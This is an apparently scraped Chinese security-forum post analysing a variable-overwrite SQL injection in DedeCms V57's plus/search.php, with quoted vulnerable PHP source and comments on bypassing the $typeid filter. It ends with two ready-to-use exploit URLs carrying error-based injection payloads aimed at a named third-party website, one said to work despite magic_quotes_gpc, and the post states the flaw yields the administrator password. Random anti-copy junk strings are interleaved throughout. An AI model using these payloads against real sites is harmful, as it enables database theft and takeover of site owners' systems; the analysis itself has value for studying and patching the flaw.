中国网络渗透测试联盟
标题:
DedeCms V57 plus/search.php文件SQL注射
[打印本页]
作者:
admin
时间:
2013-1-19 08:18
标题:
DedeCms V57 plus/search.php文件SQL注射
微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
0 y/ c+ N5 R6 y" G9 c O( [
作者:
c4rp3nt3r@0x50sec.org
: _4 v* `: ~5 p5 j1 k0 l" y/ k1 Y
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
( [2 V1 x! a b5 T6 \
. y7 e$ X9 g. o d8 N x+ T
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
9 v& V% T5 `, r' ]
; V: X- S- k/ ]/ A$ t+ U4 ^$ ]1 S
============
( X" D' r3 p9 t
* J3 ?$ V8 Y4 X6 E( P% Z1 R! q
" L( a; H- N6 _2 D9 ` V% H6 U
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
4 W* Z1 @8 p( m! ]/ y5 Q9 I
2 X% ~# k2 L+ {3 f2 r* T
require_once(dirname(__FILE__).”/../include/common.inc.php”);
* H9 f* s& o. ?" g0 I9 b) s9 r
require_once(DEDEINC.”/arc.searchview.class.php”);
5 V) A& \+ P) C: ^% y! ?
& f- l: {0 ]1 D/ t- n1 ]0 x
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
3 D/ K) f9 r- A& ? U. ?" R, W
$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
8 {# M2 r" N. x+ ?
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
# o/ \; p+ B- a3 |0 O
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
- L6 \& y6 m9 ?: S5 e8 m
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
7 j3 S4 K" d3 p% U5 q, Y
5 [( ~; X6 O% B$ Z
if(!isset($orderby)) $orderby=”;
# y2 u+ S& Z4 Q, P& x" H
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
3 ?5 K3 e3 X6 t2 E* U
9 d( N3 p+ p+ J9 V3 Z3 X2 P6 I, D
- _+ G) r: ^9 ]" Y0 Z7 X7 }" f
if(!isset($searchtype)) $searchtype = ‘titlekeyword’;
+ n' n6 B0 S! h! K4 B
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);
4 z! Y8 l4 h3 v3 B3 {, e% s8 a
3 j$ l1 Q1 }( g- Z8 A+ l" u* f8 }
if(!isset($keyword)){
/ O: f+ B5 T: h
if(!isset($q)) $q = ”;
& h9 _- d5 @8 K% N- d: E
$keyword=$q;
7 h/ V' N8 p' z* j8 d7 K
}
5 }% s: \$ Q" p0 i* G
6 A7 b* m4 P* m: e; F1 q
$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
# b# B/ c0 b( [+ B- ?2 t1 q
9 r4 _9 w3 x3 Y5 C& N: x$ L
//查找栏目信息
4 O6 C/ h5 T6 U! C
if(empty($typeid))
5 n# l+ t+ W6 u- X
{
" I! P% [6 K5 r
$typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
+ y( M& S8 b1 c; R0 `/ w' K
if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
( _' V9 N/ `& @% A3 D2 B
{
8 m8 r) o% [6 e) ?! _
$fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);
* D$ B' j) ^: m8 l: \
fwrite($fp, “<”.”?php\r\n”);
2 ~/ c$ ^2 ^2 x1 ~. ~# Q
$dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
2 `" @6 j! g/ Y" U$ T) U; W% i
$dsql->Execute();
& A6 \- y/ @3 J6 k4 H
while($row = $dsql->GetArray())
( x k. g+ m0 \$ B2 x
{
3 T( U8 a. G4 L4 k7 T3 X
fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
/ G6 |9 @. s- c. f# M/ I( ]/ B
}
' Q: Z1 s1 d& E
fwrite($fp, ‘?’.'>’);
4 f, }( j1 U& r# H$ G
fclose($fp);
7 T9 I/ _/ [4 j4 k2 ^+ U% R& P9 D; x
}
0 |- v' D- |, j) j
//引入栏目缓存并看关键字是否有相关栏目内容
, J" _* A) O; m- G
require_once($typenameCacheFile);
) ]0 V# F* [6 Z; j
//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
2 @3 E/ V0 m; v4 w/ D1 ?' [
//
6 L1 s9 O7 C& w
if(isset($typeArr) && is_array($typeArr))
F! G9 H7 y* L$ |. A' _* Z
{
) H# M" S5 G& ^! A
foreach($typeArr as $id=>$typename)
7 z/ i1 ?8 \2 c& z0 I3 U0 j4 C
{
7 `$ h7 a3 n. h- I$ `) g3 v) t4 A
$ ~8 U" ~' f6 I$ J# |
<font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过
H+ N6 ]' a# H m1 |1 h4 l. r
if($keyword != $keywordn)
0 a; K8 C" p ?* T3 W* q2 V
{
3 ?( U9 ^2 |2 k( ` u% Q& S) l; ^
$keyword = $keywordn;
1 O! Z P2 I' J/ m
<font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
) K9 s; I# G' b/ Z& z
break;
) |& }3 T5 D( p1 y
}
% h7 p: t$ S, E$ c9 l
}
( w& ?. C: S" r
}
4 g7 R2 f9 ^6 ~3 q( s+ ?" p( h
}
. q9 ^% s2 ~; g: k; w U1 S0 w0 L
然后plus/search.php文件下面定义了一个 Search类的对象 .
O1 n* Y0 B9 o. u, G
在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
$ q$ m, I9 P+ ]2 x& ~$ l
$this->TypeLink = new TypeLink($typeid);
; W+ n' {7 S+ u% v$ F. u1 E3 V
6 {( u" Z3 B7 I
TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
4 |4 G! X7 c* M' }% |% t( w
: o w8 `# X9 K: t2 |$ _4 l
class TypeLink
5 i: W/ H, N; y
{
4 ]( x- b# w% w9 `
var $typeDir;
1 B* R5 j8 r! S& E9 }* x
var $dsql;
5 Y, E/ x G: u3 o/ V: |& W
var $TypeID;
6 N2 [+ J1 H/ i: F
var $baseDir;
: h" [1 c4 L W& E8 U0 S0 K
var $modDir;
7 T$ Y. J0 C5 J- t
var $indexUrl;
4 i& B( c, \" r% b% C ]' w6 l" l
var $indexName;
3 B" l1 f( n8 L7 f
var $TypeInfos;
! q- K, x1 v; l9 O1 n* N5 D
var $SplitSymbol;
$ K' x8 y. m6 g
var $valuePosition;
2 W, q+ i, ?3 ]( H* z
var $valuePositionName;
0 y3 ^8 k( @0 z' Y. I/ ?
var $OptionArrayList;//构造函数///////
3 \$ E" t0 `# ?% s4 n/ ]9 a
//php5构造函数
; ^) V" j" y- {( B# S; E) [
function __construct($typeid)
/ g' W$ o" _4 W' S x' }
{
: k5 ^6 e8 g: f! S, D3 Q
$this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
+ ]. p& H# A/ p0 c
$this->indexName = $GLOBALS['cfg_indexname'];
1 H: e N* |3 ~& O! {' J2 M1 O
$this->baseDir = $GLOBALS['cfg_basedir'];
| A7 g' s3 l/ \& [# U/ y) E
$this->modDir = $GLOBALS['cfg_templets_dir'];
, o8 D7 o1 ?4 b' L' |) x" r/ D! L% ]# D
$this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
, C2 a% q M9 ^* J
$this->dsql = $GLOBALS['dsql'];
; c( Q; C/ C) _7 w6 U; w% {
$this->TypeID = $typeid;
. U. y" @( z* \, @; r* S A h2 i$ M
$this->valuePosition = ”;
- j* j& v) I7 A& C
$this->valuePositionName = ”;
% W9 ^( `7 a c6 n3 {1 r! ?
$this->typeDir = ”;
; \4 ?+ i% w6 Y( L4 N6 v5 Y
$this->OptionArrayList = ”;
1 L4 G; T+ C& i" V
! u! N3 Z/ q! F
//载入类目信息
- s7 K) }, {2 w& K
/ |- d* T" v+ c+ e$ ^) w, f1 x7 @" ]& b
<font color=”Red”>$query = “SELECT tp.*,ch.typename as
7 A; ]) V" a$ v1 _9 H; x7 _
ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join
: ], ~* j" A3 H! F; e4 [
`#@__channeltype` ch
# R% ^4 ], k# l$ i3 |5 S. Q. C
on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿
: b; u* X4 Z( e
) A% K3 U# U2 d- G8 j/ D
if($typeid > 0)
% {8 K' T6 N9 h* f
{
* o3 h6 X0 l1 t; S
$this->TypeInfos = $this->dsql->GetOne($query);
5 r) r3 l7 D/ ^9 U3 R9 o" P: q
利用代码一 需要 即使magic_quotes_gpc = Off
) p" m, h, m0 k0 n* w8 c
% W) z! k5 Y) E4 X! n
www.political-security.com
/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
" h5 s& k# \. Q1 z# n* i. S
7 ^$ Z6 R' W5 `- q8 _$ ^
这只是其中一个利用代码… Search 类的构造函数再往下
. y+ b- N" f' ^2 R( p! @3 y! W% c
) g# @9 `; d, `' V o7 t# w( g& i
……省略
$ [* Y0 j7 U5 v! y' }5 b0 k' a& }
$this->TypeID = $typeid;
% _# B3 M! l+ V+ m
……省略
- A" x9 H1 x" V4 l- ^
if($this->TypeID==”0″){
- @; b3 c: F- f3 Z' A
$this->ChannelTypeid=1;
7 d+ g1 B9 K b0 A
}else{
4 t2 }0 L2 E8 p
$row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
7 j7 Y1 i1 m' t' h a* u. g
//现在不鸡肋了吧亲…
9 c W9 z. c6 J: f2 `
$this->ChannelTypeid=$row['channeltype'];
# K2 X, b# P6 z0 `
8 ~6 c$ B8 O; ^4 B% ^) H
}
; U7 |* P$ k; D5 r, B% c) Y9 m3 ^3 y* g
利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
! u9 F9 o/ i' s N+ H `
! b- P: ~% l. q, t3 P9 O: k% q& v5 |
www.political-security.com
/plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
( i9 u$ ]& }" g
' [. o, k( ^- n, j6 s& l' Z
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站
" x9 B2 Y: m& c2 `' `8 t
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2